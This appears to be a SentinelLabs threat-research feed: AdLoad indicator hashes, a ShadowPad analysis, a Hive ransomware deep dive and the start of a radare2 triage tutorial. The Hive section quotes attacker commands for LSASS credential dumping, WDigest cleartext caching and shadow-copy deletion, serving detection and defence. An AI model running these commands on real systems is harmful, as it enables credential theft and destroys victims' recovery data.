081dfd7795bd82d037cffca5ad714fa72db28e3d
be2add2c4a065a481a3276efc9078fe2e6a2eba3
219fb270e5f3ac942bab082f12fc45141b5a28d2
233d33a3d8d4cde33761e42c7d969c6316e14796
880f3cbfecb20b80131b689b3ae94325bdec6996
008eaa5489dc86643ef516b23258a02111544124
8523259f5b74f3405d5c3ca36b7c238a8b0db5f8
e9a450988933b11c73a0160c157f6965c111a7a5
95579871c86810a9bbf238f325d470cd7b08a94d
f2462e0daaf3b23b7ab73e695f1ae8b036273493
5cce9004ce7134e3b62b9d5d733347c048830231
f5b6b5fabad5aba545d259f1370130f5295b5692
ac168a783051f3322bb43a72518d49f67d084166
7c2455ca1eb1cd8eec91acf21a501e96c8d715ac
71c9ab91cb285e71fe144e4f0626cf9b3f7f7adb
f161b7250d79b89abed92affc764b2925ed05182
6f32bd0c8a8120b2a73a3a412a480345e464790c
5c5830f13ef7d20a60cddb6aa2ce63794574d466
622cfea78f430473478d98d33a985190402e2f0b
d5aeabcc77d11e45017341e102c4d58391a5fbb2
a3323205db565f2c6e0182853138ce7a66807ac7
fc9ff33a949ee9001f5537a1efde8dc4e2b994c8
ca35bd32d135d8513a81866836a8fe73de970266
8fb2b387c9b95f9f9a408f528462eb57a96e34f6
e85e710f12f34be87b4e0bb9fe34547e69ad6db0
4a63e937779c52d034c0d276ef46e99e1f49596a
941388e2880fe447fd958d78655264639549373e
b4395d37fb0b78422e959c4e8d3ed984f01ba518
e1271de943444766687b6d5c707fa66a5b71e8f0
7c7af95109714cfd0108536aa21c2461b5d7c451
d39f7d5a0d9923aed5d06155b1caf38c8279b916
b221b50ccec7c6f7d309f643dd2ee287f2569176
b4193cf5f0d9f07f0afe8a46b405b460293082d0
3025d8a5463dc409af8c85742924373ba7e87e11
197f700c045c43eecae02130d990a9dbba2f9802
763fb085dfe338a286302c72869deacc1ab0372d
8f5a7c48f2a4fdbd3f0d0cdaf313163034b02a88
a81ce8cdd485a265e16a374101cd3c712d651674
a248211f67ea4874418961a8c596d7183d71131f
4a534ab4dfe55e8a7da79a96cdb46b1fa0fa9e47
d3514efe6ec9b4dbe012e6a5a971004818d877e5
b2f645477fbe5d9bddbec96d267fae1518920517
66c9e7846a2263484f6b2b3653c137229e18feeb
7f8ef2c17a9347e52b9c8eab385f2a774d6a1b76
9430703cb3bc6a0454cf4da07191f10b20af3e76
b4280bd84e160b285500d944ca7f14696d2be457
61acc635fc38d785aa95abc8f9f39bb9e853ccfd
e3029f78731161c75bfd8ab53c86811b927c31a8
16cd7d7d66685689453241557106772ce6f6d21c
4a805fde7a28d3c3188c4398ce603a13d757438c
1ee378795e80a43fcb07678e8582fa6e44c605f8
14c17fac581df68923016a7a56bf39d8290e6abc
46264a0381a0399dd4fd9b30cac0b354be34e304
49ca8c02d0d67040079d5b8185fe4947e5101cf7
62c4c86734c980310e6a204657b17154f8feecc4
8e1c36a686e00a0878525eeef99d48c88f040022
1bd022f25a21f1cbcaaf1481c5d34df46f0a6b2c
4243c523775a98c8d6cc9398857e5813d4dd0842
5a715a77b274d6ab4d6d85fa025deb75a92b3b2f
ffc52b694ac6cb43b852ddbf02ef83e1d2d696f5
ee88a8865110fb4d454a211d52122e09366ab435
2530637b96d9e82a2d49a47ac846ad6737fec83d
8295fef63f90b2ef93fdba41aa0f04ca720c6d5f
034676a0fe5115e10fe256ed94bdd5941d8b7b26
8e2b172fc2846abf48c2f4fde6110d89c60d1c8c
80fa5be5953c3a199fe41469b3e11f8e26a30131
5d85b530b2bdcc30875fccbce189b650bec62366
673ab255386b1a000369ebcacd0669333a4a746f
5b40003f3b3dbb8a79bb70e1a6ac62c8bd14501c
88a9162b8887beb36e487c4e156e5bb25a129c37
a58b7e2f8e15039887d813dc51230f5a58ce964c
9d0b08c8f13402d074011e0cba6fb0b1571132bd
13b49b0dd0dc95059da81569f29d4bedbc07faab
3f0b3b6835a363c4e01401e28bde66277693e46b
11a882ea1a8c62e362725528463a95eeeb7f7103
e3c226bf3a5c6a3cd4bbedf3fd5db00dfd5e6f8b
8571ad38afe8721491c6d50631836db35c3ca701
a27d3cc014391f47b1174bfe8b2cdbf9ec23daf5
7792403a0a6400dfb79db20d6af346685b9f4774
6b133d16402015822467ea1ff4204bc40dff2e0f
163d2e6daecbc419d3e9a011b04c6b62488a9a8e
6693c6d4061fae64aac86e17b4fa72d1a7491fe7
72aec20fa4da9d8024e5aa94dd43c3ed6ce703c5
0cde09d5b18517d4e1632cff3f90fcb33d0dd225
b9bc88fa57f19a095ed00a664e671ebb2c095b2f
ec11dc98fbea6f6ba7a8e94c5aebee25815b3ba1
557d20e8c938228b6ea569fd3ab23359b174bbe1
98ffb280981218316c32624fe991d1d5cb81e319
ada45f83ed15138b7a58e55cac613d93814d6ed6
2b4526e0fe5526800ed9475161f31786380753ca
95953e735dc82564816be0178ad3aaefeff13a8e
5364effde06a4e09afb5c0a6b9179a8e75776cd1
075fcc3777a706cae6af9ac514322011ab9a4a14
17321a3e97ebd5b85be4b2f88e1f6799214a711b
807975a15e04822d5b6abfd54cfc6def4d61613b
735a97d21e91023a33575946373b0f7a7ba80d32
ae3e2a14ea5df3efc10af45755a14ed3b4c67524
a7b9ce7c5dce62258d4d4fa17bfe1273778766c3
7ef3de49716784d9d7f50fb96b9a7ad090a052f8
b47adfa20cf16871a7c18f9cdfa855765ff5eaca
10821b9bba7cca78cd118c942b73e4b2575ee4c8
652747b071b2bb4c445f994504726861933c5249
f28add9e3d21b8cfbffb60d12760dd307cfe356e
e49db30e36b1172301ef2f8b000a074e19dc1ac9
6ccedd0e86de1419011a956de435a46243378c0e
211d1b64b0e8ee4087198318b40e1be6204a9f93
8e0509d8e59edef9e582e725bd67c7e553832a34
63755111ca179fb1cd10173677742e529884befb
2b42863c1f9a7228e6a71f8dbaf3b149bc19b3b7
c33322c363a1ef6a34f2e21d850f0c31dea960e9
e504942c5b3200c6e455bc7bdb0e0a6786dceb42
b0aa5e49cfebcc16d3a3e4763fa2ff142c4d3ce4
cccdbdf2b14d12e0ae0d963ba6b396650f88b4a1
7a8f664bef819a79c343fc8b40442f212c18372d
285233cbfbdd4e7435a228ef831005f07b125e0d
4ee3307291731974f0f250faea384c43333d8484
5f32868dfde684b2d174bdb3f58adc832a24128e
14fb3f59923f7697ad0997172d6a876415f12724
b1a24f9f1eaa736e2245eef2136855a88e9a0f32
5787aabb6e5bda139378975d549351f14a2f8ce3
137aa5bdc677dab56eaa46ef65eb55c93b25a354
c63117e28473abc05f731873c79c040f27e7ac4d
8c1d298e43e38dd1c82c6d00887afe6bee645c3d
0b39498bb7200e9319602f83592fb9a3b6dd8b1c
dd747d6e5260e5d827b09bab408871dcbd2172b6
1d62a90e8af50299f577dd07609c43434116b84e
e0b32dae2c8e3862409edde944de2c00921c2d3c
2891bc69ae942535fb84233a83bf9db6ec67eef6
1da62c6d928eebfe2f7d272a06454ed279935fee
86acf5dd10a2129b0117d71a69a4f8588f8c4c99
0903d51c1114c3e8b7f2f3fab9e23ab5e1339d7d
3d51ea5e39f8fd73f9d8aa7fbd81f898faa4740b
4cc82fa159cf7849a2dc979e428178b6c6150f54
d4676d7c771053e6fabc44e220008c6a07b3627e
cacd8927569cbb10b40d754e653f5f9b4671a55c
70b8097a648a85e37e87cf3af7a13fb8fbb65fb0
1f0c7b7b002e5c03f2ad9103a75ab48c7059ccc1
886f717a09ecb136321586e2346d03b127503732
770a507c815bb766b7de2b1bf3a2a6e92cf129fd
6b3d50c76d9afe36498d4a40b9812c970a7c8531
3601e9c8015bad2c6ec5e26ca79a6b899d8f91fe
147abbc8b7670fde1932b3dbcf35e7ae17dd6f8a
dc52d813154178cdf958fc191042110ae5f398e9
c4482500b968d6b823eee5ee85f66ac93acbd1fa
26dc443b3d9559b217f36bb848d7183b68d70232
3b69a85db6219c89733df82e4f1f71597cc0d71d
bf4068e707b19f0134e76a9b6371d97741a96cc2
e4055f8a3fc06327c28e1b22b532a4eba7793860
f56f7036e92cb7c905f919c9a4429ad5e90a201f
9da84dcdd43aed44707d9db08eb92ceca232c055
3e31041a7e84ec1f4214badb2b15d79e06ef3a28
8e7c2197804f624b87f7cd625f9037ec2b2e53b1
24dcb22fc3e98f0e4eb810d506f73b0596275a72
2e1ec6842815573fd7f814151b4a10b9810cd569
1fc6b2880a925efdeaff7064e1c0de5a503615b6
3d38673a1bed5e6b428a55137a3defb5d8e26938
36d36def21ff145bc966277e2fc99043b10e2b00
7d5aaeb40759b66edea2133cb8f3a0f7037ff982
5883fdea86088bb624e8eabe2a2d615628c4f244
4c7fbec5627642402e3dd3f50ea0abe902f82c96
9ec49c45214680826e1f9957fb64a3693f67af2f
69f0e43232ade2fe225889c08454357f52ad7893
a190fde31a51b43f1ba2010fe786d435e783c6a1
c0bbc47aff669d7fec54ad43f5a6bb3bb1351d93
3fb84a98a262bdcb53f90dc5732be20185b0c727
f64bf92e075c5801cc5f82c8924d81142d17d0b3
9e41cf57199a88a9175350017942740774597110
7452f9e2d340505d54e49af597007e71d40a6f2a
dbe13ffd66888d7fc60e413c2c062c3d9c4b25d3
ffd0ec88308f44232503d3cf799d0f3dcd76b1dd
18ae7e19c81041d55219da0d6e4e6da66b22097c
6a559c7c0ac7a1070a1f836d95bc12de9cdbf0d6
8622fcb820e9f40366bcd48930a8b457df8d8671
17c35d1c4e1d7f9d44963c545911d836a356d5b5
24f58e48826f4845d7ad60e403e4fbab822320f0
fb47279af84bc57c66bec19685cc9cccfaf3589e
33b99d8c575a1300c18015d2ce2a04d86ddefe84
e096471893719c6c9ac8371cc5580c0a8be7b808
dfab92cc8b5df4a48e1f1081916b3c08f540b677
e539ad135010c9c82b9a6138c11ea2a9b3f902e8
9238d6fafc93349e07d41d4a6ad560a91bb0c37a
7e735235f47ab2bdf3de99b493e7d7957dde1164
be2703217ff767b91519871a4482f160247118b9
b0784710e17ffd9a8a53e35cc83bb15baa8213bb
1172ca7b53c21ead825f759adf95e575690eb608
5767626d89277bf4e846bf9f9bb12b680bb5b54a
399f3000653ded1be02090ac640b005adcd0439a
809e48190c2514e93cb8c97be7833ba35ffb41d9
3fc8932eca10b30c3ee17755449a87519e4fbfce
c9da6247a009a62ce1f3886a885721801e868be6
209bb5141bf075c2e554e7194158f3d7c7417365
6249467e90ace912a94560406489a0fcd69f8b08
433780d6189c18e5344cba31cf27a5608320f732
2483d24c0dbe6151ddeca1284395883fa184a08c
a8399681394c0e5773fe4939508b9dcf7077bf04
12d3771cef25ba1e8001edba703d167a294c9002
3f075a43c5738faea54fe86c79c7312250cce734
70341c310aead1c1d63068bd05fda85ae2604c41
beddbfe3871782089fbc8747d235ae53f3177fad
3332e7db5787064b2ad6dc57412fd269ff440006
ee887cd39026b57f73db319c3ec35a2fa2f3b47d
7d3cc10b998597855d6866a89dddf03e26be6411
58e9b2734e8de7760701d7652f043242d22e27c2
9eaf3939e5071fcf3d28ea025b4ce7ff558efc08
af405057579725f98a572178820018715109fc6e
13eeceafcff834ffed27ce81005ca29b320e59ce
17a279322693102bfc0477484c57e6a56dc05e25
d3cf31bbdcb622ebdd07caba4e934d75afa56d7c
a967d560e330553a30ea64023ed3f930a9684570
01e48a7f74a72f8566907a603b02a9210b808771
0cf615d17346ff0845f4be6b68f8be096573936a
8124dd6ea9d18e770b4633da14b8116c9e2b1dbf
029772752d87de1e7804756b433ae35abd458235
77831651f9d56b4203f16ef5661288a059bcfbe5
0353cf221863edb056d5b45bef1c070c1fb80994
b9ddefaa48833b7a59db846d9e46c9fa547f4bad
2a634221a9d0ca4a965008d8dcf4bbb1702a47e5

Droppers
8bf1defb2fea1880fdfb98e863276dc4cbb7a3e5
9912549c3a86e2224a5684a3c04d76bdfd2cc0a4
400138e08e0ffa1220ee19a82e5f24dd1b20868d
and
similar-to:1724942eeec7c367238409d06d6c9d39a3477998c124a2a9f6f78c425533af17

Note: Some of these droppers may deliver different payloads.

The post Massive New AdLoad Campaign Goes Entirely Undetected By Apple’s XProtect appeared first on SentinelLabs.

By Yi-Jhen Hsieh & Joey Chen

Executive Summary

• ShadowPad is a privately sold modular malware platform –rather than an open attack framework– with plugins sold separately.
• ShadowPad is still regularly updated with more advanced anti-detection and persistence techniques.
• It’s used by at least four clusters of espionage activity. ShadowPad was the primary backdoor for espionage operations in multiple campaigns, including the CCleaner, NetSarang, and ASUS supply-chain attacks.
• The adoption of ShadowPad significantly reduces the costs of development and maintenance for threat actors. We observed that some threat groups stopped developing their own backdoors after they gained access to ShadowPad.
• As a byproduct of that shared tooling, any claim on attribution needs to be reviewed in a cautious way when a shared backdoor like ShadowPad is involved.
• Instead of focusing on specific threat groups, we discuss local personas possibly involved in the development of ShadowPad as an iterative successor to PlugX.

 
Read the Full Report

Overview

ShadowPad emerged in 2015 as the successor to PlugX. However, it was not until several infamous supply-chain incidents occurred – CCleaner, NetSarang and ShadowHammer – that it started to receive widespread attention in the public domain. Unlike the publicly-sold PlugX, ShadowPad is privately shared among a limited set of users. Whilst collecting IoCs and connecting the dots, we asked ourselves: What threat actors are using ShadowPad in their operations? And ultimately, how does the emergence of ShadowPad impact the wider threat landscape from Chinese espionage actors?

To answer those questions, we conducted a comprehensive study on the origin, usage and ecosystem of ShadowPad. The full report provides:

• a detailed overview of ShadowPad, including its history, technical details, and our assessment of its business model and ecosystem
• a detailed description of four activity clusters where ShadowPad has been used
• a discussion of how ShadowPad’s emergence changes the attacking strategies of some China-based threat actors
• how ShadowPad affects the threat landscape of Chinese espionage attacks

In this blog post, we provide an abridged version of some of our key findings and discussions. Please see the full report for an extended discussion, full Indicators of Compromise and other technical indicators.

Technical Analysis

ShadowPad is a modular backdoor in shellcode format. On execution, a layer of an obfuscated shellcode loader is responsible for decrypting and loading a Root plugin. While the sequence of operation in the Root plugin decrypts, it loads other plugins embedded in the shellcode into memory. The plugins are kept and referenced through a linked list:

struct plugin_node {
    plugin_node* previous_node;
    plugin_node* next_node;
    DWORD referenced_count;
    DWORD plugin_timestamp;
    DWORD plugin_id;
    DWORD field_0;
    DWORD field_1;
    DWORD field_2;
    DWORD field_3;
    DWORD plugin_size;
    LPVOID plugin_base_addr;
    LPVOID plugin_export_function_table_addr;
}

Along with the plugins embedded in the sample, additional plugins are allowed to be remotely uploaded from the C&C server, which allows users to dynamically add functionalities not included by default.

As luck would have it, the ShadowPad controller (version 1.0, 2015) was accidentally discovered during private research. All of the stakeholders involved agreed to our releasing screenshots but not the details of the actual file, so we are unable to provide hashes for this component at present.

Analysis of the controller allowed us to obtain a clear picture of how the builder generates the shellcodes, how the users manage the infected hosts, and the kinds of functions available on the controller.

Privately Shared Attack Framework or Privately Sold Modular Malware?

An intriguing question to address is whether ShadowPad is a privately shared attack framework or a privately developed modular malware platform for sale to specific groups. Its design allows the users to remotely deploy new plugins to a backdoor.  In theory, anyone capable of producing a plugin that is encrypted and compressed in the correct format can add new functionalities to the backdoor freely.

However, the control interfaces of the plugins are hardcoded in the “Manager” page of the ShadowPad controller, and the controller itself does not include a feature to add a new control interface.

In other words, it is unlikely that ShadowPad was created as a collaborative attacking framework. Only the plugins produced by the original developer could be included and used through the ShadowPad controller.

On the other hand, even if the control interface of a plugin is listed in the menu, not every available plugin is embedded in the ShadowPad samples built by the controller by default. There is no configuration in the builder to allow the user to choose which plugins are compiled into the generated sample, so this setting can only be managed by the developer of the controller.

If ShadowPad was not originally designed as an open framework, the following question is whether it is freely shared with or sold to its users. The possible author ‘whg’ – and one of his close affiliates, Rose – have been monetizing their malware development and hacking skills since the early 2000s. Both individuals sold self-developed malware, and Rose offered services such as software cracking, penetration testing and DDoS attacks. If ShadowPad was developed by them or their close affiliates, it is more likely to be sold to – rather than freely shared with – other users under this context.

Selling the Plugins Separately Rather than Giving a Full Bundle by Default

The available functionalities to ShadowPad users are highly controlled by the seller of ShadowPad. Looking deeply into the plugin numbers and the distribution of different plugins embedded in around a hundred samples, we assessed that the seller is likely selling each plugin separately instead of offering a full bundle with all of the currently available plugins.

The image above groups the samples by the number of the plugins embedded in them. Most of the samples contain less than nine plugins with the following plugins embedded: Root, Plugins, Config, Install, Online, TCP, HTTP, UDP and DNS. This set of plugins can only support the installation of backdoors and communications with C&C servers, without providing further functionality.

What Threat Actors Are Using Shadowpad?

ShadowPad is sold privately to a limited set of customers. SentinelOne has identified at least five activity clusters of ShadowPad users since 2017:

• APT41
• Tick & Tonto Team
• Operation Redbonus
• Operation Redkanku
• Fishmonger

In the full report, we discuss each in turn. Here, we will limit our observations to the most interesting points related to APT41.

APT41 is the accepted naming convention for the activities conducted by two spinoffs of what was once referred to as ‘Winnti’, sub-groups – BARIUM (Tan Dailin aka Rose and Zhang Haoran) and LEAD (Chengdu 404 Network Technology Co., Ltd).

All of the individuals are based in Chengdu, Sichuan. Rose (aka “凋凌玫瑰”), Zhang Haoran, and Jiang Lizhi (aka “BlackFox”, one of the persons behind Chengdu 404) were coworkers between 2011 and 2017, while Rose and BlackFox knew each other since at least 2006.

Rose started his active collaboration on malware development with whg, the author of PlugX, when he was a member of the hacking group NCPH back in 2005. They developed “NCPH Remote Control Software” together until 2007. The executable of the controller was freely shared on NCPH websites, but they also declared that the source code was for sale.

BARIUM (Rose and Zhang Haoran) were one of the earliest threat groups with access to ShadowPad. Aside from some smaller-scale attacks against the gaming industry, they were accountable for several supply chain attacks from 2017 to 2018. Some of their victims included NetSarang, ASUS, and allegedly, CCleaner.

Another subgroup, LEAD, also used ShadowPad along with other backdoors to attack victims for both financial and espionage purposes. They were reported to attack electronic providers and consumers, universities, telecommunication, NGO and foreign governments.

Considering the long-term affiliation relationship between Rose and whg, we suspect that Rose likely had high privilege access to – or was a co-developer of – ShadowPad, and other close affiliates in Chengdu were likely sharing resources. This could also explain why BARIUM was able to utilize a special version of ShadowPad in some of their attacks.

Conclusion

The emergence of ShadowPad, a privately sold, well-developed and functional backdoor, offers threat actors a good opportunity to move away from self-developed backdoors. While it is well-designed and highly likely to be produced by an experienced malware developer, both its functionalities and its anti-forensics capabilities are under active development. For these threat actors, using ShadowPad as the primary backdoor significantly reduces the costs of development.

For security researchers and analysts tracking China-based threat actors, the adoption of the “sold – or cracked – commercial backdoor” raises difficulties in ascertaining which threat actor they are investigating. More systematic ways – for instance, analysis on the relationship between indicators, long-term monitoring on the activities and campaigns – need to be developed in order to carry out analytically-sound attribution. Any claim made publicly on the attribution of ShadowPad users requires careful validation and strong evidentiary support so that it can help the community’s effort in identifying Chinese espionage.

Read the full report for an extended discussion, full Indicators of Compromise and other technical indicators.

Read the Full Report

Read the Full Report

The post ShadowPad | A Masterpiece of Privately Sold Malware in Chinese Espionage appeared first on SentinelLabs.

By Jim Walter & Juan Andres Guerrero-Saade

Executive Summary

• Hive is a double-extortion ransomware group that first appeared in June 2021.
• The group is notable in its undiscerning choice of targets, having no limits when it comes to healthcare providers and hospitals, as evidenced in a recent attack on Memorial Health System hospitals in Ohio.
• Hive ransomware is written in Go to take advantage of the language’s concurrency features to encrypt files faster.
• This report offers an overview of Hive TTPs as well as a reverse engineering deep dive into the ransomware payloads.
• Hive remains active with as many as 30 victim companies listed on its Hive Leaks onion site at the time of writing.

Background

While many active ransomware groups have committed to forgoing attacks on medical targets in deference to the current global situation, Hive is not one of them. On August 15, 2021, news broke of a Hive campaign against Memorial Health System, an Ohio healthcare provider. As a result, the hospital was forced to advise some patients to seek treatment at separate facilities.

While some ransomware attacks hitting public health and critical infrastructure targets can be the result of a shotgun approach to targetting – mass phishing campaigns that execute malware blindly on victim devices without awareness of the victim environment – that is not the case with Hive. This is a human-operated ransomware attack designed to take input from the command line, indicating the attackers are both aware of the environment and tailoring their attacks for maximum impact.

Who is Hive?

Hive or “HiveLeaks” is a relatively new ransomware outfit that made its appearance on the scene in late June, 2021. Hive is yet another double extortion group, making their money off of a two-pronged attack: exfiltrating sensitive data before locking up the victims’ systems. This allows them to pressure the victim into paying greater sums than a conventional ransomware attack as they also face the threat of a mass leak of sensitive data. Hive’s schemes have proven successful so far as multiple leaks are currently posted on their victim blog. As of the time of writing, there are 30 companies currently named on the HiveLeaks site.

We can’t put the toothpaste back in the tube for Memorial Health Systems, but we can at least contribute a breakdown of the Hive operators’ preferred techniques and a deep dive into their ransomware toolkit to help other potential victims.

Technical Analysis

Initial acces can vary. Cobalt Strike implants are most often the tool of choice. They are delivered via phishing or emails in order to establish initial access. These beacons maintain persistence and allow the operators to expand their reach within the compromised environment. They are also used to launch the Hive payloads.

Recent campaigns opt for the use of ConnectWise. ConnectWise is a legitimate commercial remote administration tool that has been abused by multiple ransomware operators in recent years. This allows for persistence and management of their malware in environments where Cobalt Strike hasn’t been successful.

Once inside, attackers will attempt to dump credentials by way of consvcs.dll (MinDump) though rundll32.exe:

\Windows\system32\cmd.exe /C rundll32.exe
\Windows\System32\comsvcs.dll MinDump 752 lsass.dmp full

Additionally, WDigest may be manipulated to allow for the caching of cleartext credential data:

\Windows\system32\cmd.exe /C reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 && gpupdate /force

Additional tools like ADRecon may be used to further understand and traverse the compromised Active Directory (AD) environment. ADRecon is an open-source tool designed to do just that– to map, traverse and enumerate an AD environment.

The Hive Payload

While the tools, techniques, and procedures mentioned above are fairly standard for ransomware groups these days, Hive utilizes their own closed-source ransomware. The payloads are written in Go and packed with UPX. After unpacking, the ransomware itself is over 2MB in size owing to the way Go packages statically-link all dependencies to create a reliably portable executable.

The developers are taking advantage of some of the native benefits of Go, particularly the ability to implement easy and reliable concurrency. On the other hand, Go is known for enabling easy cross-compilation across different operating systems but the manner in which Hive implements its functionality makes it Windows-specific, at this time.

The ransomware is designed to take input from the command line, indicating that it’s meant to be run directly by an operator or a script containing the desired parameters. The available flags are as follows.

These flags are largely self-explanatory with the exception of the final option, no-cleanpollDesc. This refers to a final phase in the ransomware’s functionality that looks for a file named swap.tmp in all logical drives and deletes it before the ransomware exits. The developers refer to this as ‘cleaning space’. At this time we don’t know what this file does, whether it’s a component generated during their operations, a native Windows file, or perhaps a reference to incomplete cross-platform functionality intended for future builds.

Go malware is usually considered difficult to reverse engineer, primarily due to the wealth of tangentially-related imported code baked into every executable. It’s important to isolate the code contributed by the malware developers. In this case, Hive devs contributed four packages orchestrated by the main() function: encryptor, keys, winutils, and config.

Cursory examination might miss these as they’re housed under a parent package named google.com, perhaps to give the appearance that these are standard packages.

The main function parses the flags provided by the operator and before initializing the ransomware functionality under encryptor.NewApp(). First it generates and exports the encryption keys and generates the ransom note. It directs the victim to a password-protected Onion domain:

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd[.]onion/

It also warns the victim of the impending disclosure of their stolen data at the Hive Leaks site:

http://hiveleakdbtnp76ulyhi52eag6c6tyc<redacted>.onion/

The main functionally is housed under encryptor.(*App).Run(), which does the following:

1. App.ExportKeys() wraps around standard go crypto functions, which it uses to generate RSA keys. A key file is exported.
2. MountPoints() enumerates different types of drives and appends them to a slice (a dynamically-sized array in Go). This includes native logical drives, removable drives, and remote shares.
3. Based on the kill flag, the malware proceeds to kill processes matching the regex provided. If no custom value is provided, the following default is used:

   "bmr|sql|oracle|postgres|redis|vss|backup|sstp"
   

4. Based on the stop flag, the malware connects to the Windows service control manager and proceeds to stop services matching the regex provided.
5. The malware creates a batch file to self-delete with the filename hive.bat, removing its own components from the disk via a new process.

   	timeout 1 || sleep 1
   	del "C:\Users\admin1\Desktop\hmod4.exe"
   	if exist "C:\Users\admin1\Desktop\hmod4.exe" goto Repeat
   	del "hive.bat"
   

6. It creates a batch file to delete shadow copies under the filename shadow.bat and executes it as a separate process.

   	vssadmin.exe delete shadows /all /quiet
   	del shadow.bat
   

7. In order to take advantage of Go’s concurrency features, the Hive devs run a Notify() function that is meant to watch the WaitGroup that keeps track of the parallel threads. As long as there are threads pending, this function will keep the program running.
8. Now onto the real business of ransomware. ScanFiles() will populate a list of absolute filepaths fed into a channel (a queue of sorts). EncryptFiles() will then spawn threads that each take a file from that queue and encrypt it. This concurrency feature is the main advantage of writing this ransomware in Go and allows for much faster file encryption.
9. Finally, the devs make sure to erase the encryption key from memory.

Ransom notes are deposited into each folder containing encrypted files (skipping the C:\windows) directory.

The ransom note instructs victims to visit the Hive portal via TOR and login with their assigned unique ID to continue the payment process.

Each infection campaign is assigned unique credentials available in the ransom note. This portal leads the victim to the standard ransomware ‘support’ area where they can upload freebie test files, communicate with their attackers, and receive their decryptor should they choose to pay (which, in an ideal world, they shouldn’t).

Conclusion

As these attacks continue to escalate and become more egregious, the need for true attack ‘prevention’ is all the more critical. While well-maintained and tested backup strategies are a must, they are not enough in these double-extortion cases.

Once executed, most modern ransomware will go after backup and storage volumes in fairly smart ways. Many have even evolved to target specific NAS devices and platforms. Some groups will bypass the encryption phase altogether and opt for pilfering data to openly extort victims with. While the latter scenario may seem preferable due to a lack of disruption, the reputational damage, potential liability, and threat to business viability remains. Hence our emphasis on prevention.

We urge all defenders to explore and embrace modern endpoint protection technologies that go beyond static checks, basic signatures, and other outdated components. Contextual awareness and automated behavioral classification are among the most powerful weapons defenders should avail themselves of.

Indicators of Compromise

FILE HASHES

SHA1
67f0c8d81aefcfc5943b31d695972194ac15e9f2
edba1b73ddd0e32784ae21844c940d7850531b82
2877b32518445c09418849eb8fb913ed73d7b8fb
cd8e4372620930876c71ba0a24e2b0e17dcd87c9
eaa2e1e2cb6c7b6ec405ffdf204999853ebbd54a
0f9484948fdd1b05bad387b14b27dc702c2c09ed
e3e8e28a70cdfa2164ece51ff377879a5151abdf
9d336b8911c8ffd7cc809e31d5b53796bb0cc7bb
1cc80ad88a022c429f8285d871f48529c6484734
3b40dbdc418d2d5de5f552a054a32bfbac18c5cc
2f3273e5b6739b844fe33f7310476afb971956dd
7777771aec887896be773c32200515a50e08112a
5dbe3713b309e6ecc208e2a6c038aeb1762340d4
480db5652124d4dd199bc8e775539684a19f1f24
Dc0ae41192272fda884a1a2589fe31d604d75af2

Hive.bat
C9471adc8db180a7da5a56966b156b440483856f

Shadow.bat
4714f1e6bb75a80a8faf69434726d176b70d7bd8

SHA256
a0b4e3d7e4cd20d25ad2f92be954b95eea44f8f1944118a3194295c5677db749
50ad0e6e9dc72d10579c20bb436f09eeaa7bfdbcb5747a2590af667823e85609
5ae51e30817c0d08d03f120539aedc31d094b080eb70c0691bbfbaa4ec265ef3
77a398c870ad4904d06d455c9249e7864ac92dda877e288e5718b3c8d9fc6618
e1a7ddbf735d5c1cb9097d7614840c00e5c4d5107fa687c0ab2a2ec8948ef84e
ed614cba30f26f90815c28e189340843fab0fe7ebe71bb9b4a3cb7c78ff8e3d2
c5fe23c626413a18cba8fb4ea93df81529c85f470577fb9c2336d6b692689d9d
88f7544a29a2ceb175a135d9fa221cbfd3e8c71f32dd6b09399717f85ea9afd1
2f7d37c22e6199d1496f307c676223dda999c136ece4f2748975169b4a48afe5
fdbc66ebe7af710e15946e1541e2e81ddfd62aa3b35339288a9a244fb56a74cf
1e21c8e27a97de1796ca47a9613477cf7aec335a783469c5ca3a09d4f07db0ff
bf7bc94506eb72daec1d310ba038d9c3b115f145594fd271b80fbe911a8f3964
c04509c1b80c129a7486119436c9ada5b0505358e97c1508b2cfb5c2a177ed11
612e5ffd09ca30ca9488d802594efb5d41c360f7a439df4ae09b14bce45575ec
0df750bf15895d410c3f6ce45279ab0329c5c723af38b99aadc9a60bcdc9a71d
5954558d43884da2c7902ddf89c0cf7cd5bf162d6feefe5ce7d15b16767a27e5

Hive.bat
93852dbd3a977cf2662b0c4db26b627736ba51c0df627eb36b41fdbde093c3c3

Shadow.bat
D158f9d53e7c37eadd3b5cc1b82d095f61484e47eda2c36d9d35f31c0b4d3ff8

COMMUNICATIONS

Cobalt Beacon: 176.123.8.228

MITRE ATT&CK

T1574.001 – Hijack Execution Flow: DLL Search Order Hijacking
TA0005 – Defense Evasion
TA0004 – Privilege Escalation
T1486 – Data Encrypted for Impact
T1027.002 – Obfuscated Files or Information: Software Packing
T1003.001 – OS Credential Dumping: LSASS Memory
T1007 – System Service Discovery
T1059 – Command and Scripting Interpreter
T1059.001 – Command and Scripting Interpreter: PowerShell
T1059.003 – Command and Scripting Interpreter: Windows Command Shell
T1490 – Inhibit System Recovery

The post Hive Attacks | Analysis of the Human-Operated Ransomware Targeting Healthcare appeared first on SentinelLabs.

In our previous foray into macOS malware reverse engineering, we guided those new to the field through the basics of static and dynamic analysis using nothing other than native tools such as strings, otool and lldb. In this new series of posts, we move into intermediate and more advanced techniques, introducing you to further tools and covering a wide range of real-world malware samples from commodity adware to trojans, backdoors, and spyware used by APT actors such as Lazarus and OceanLotus. We’ll walk through problems such as beating anti-analysis and sandbox checks, reversing encrypted strings, intercepting C2 comms and more.

We kick off with a walk-through on how to rapidly triage a new sample. Analysts are busy people, and the majority of malware samples you have to deal with are neither that interesting nor that complicated. We don’t want to get stuck in the weeds reversing lots of unnecessary code only to find out that the sample really wasn’t worth that much effort!

Ideally, we want to get a sample “triaged” in just a few minutes, where “triage” means that we understand the basics of the malware’s behavior and objectives, collecting just enough data to be able to effectively hunt for related samples and detect them in our environments. For those rarer samples that pique our interest and look like they need deeper analysis, we want our triage session to give an overall profile of the sample and indicate areas for further investigation.

Why Use radare2 (r2) for macOS Malware Analysis?

For rapid triage, my preferred tool is radare2 (aka r2). There are many introductory blogs on installing and using r2, and I’m not going to cover that material here. Such posts will serve you well in terms of learning your way around the basics of installing and using the tool if it’s completely new to you.

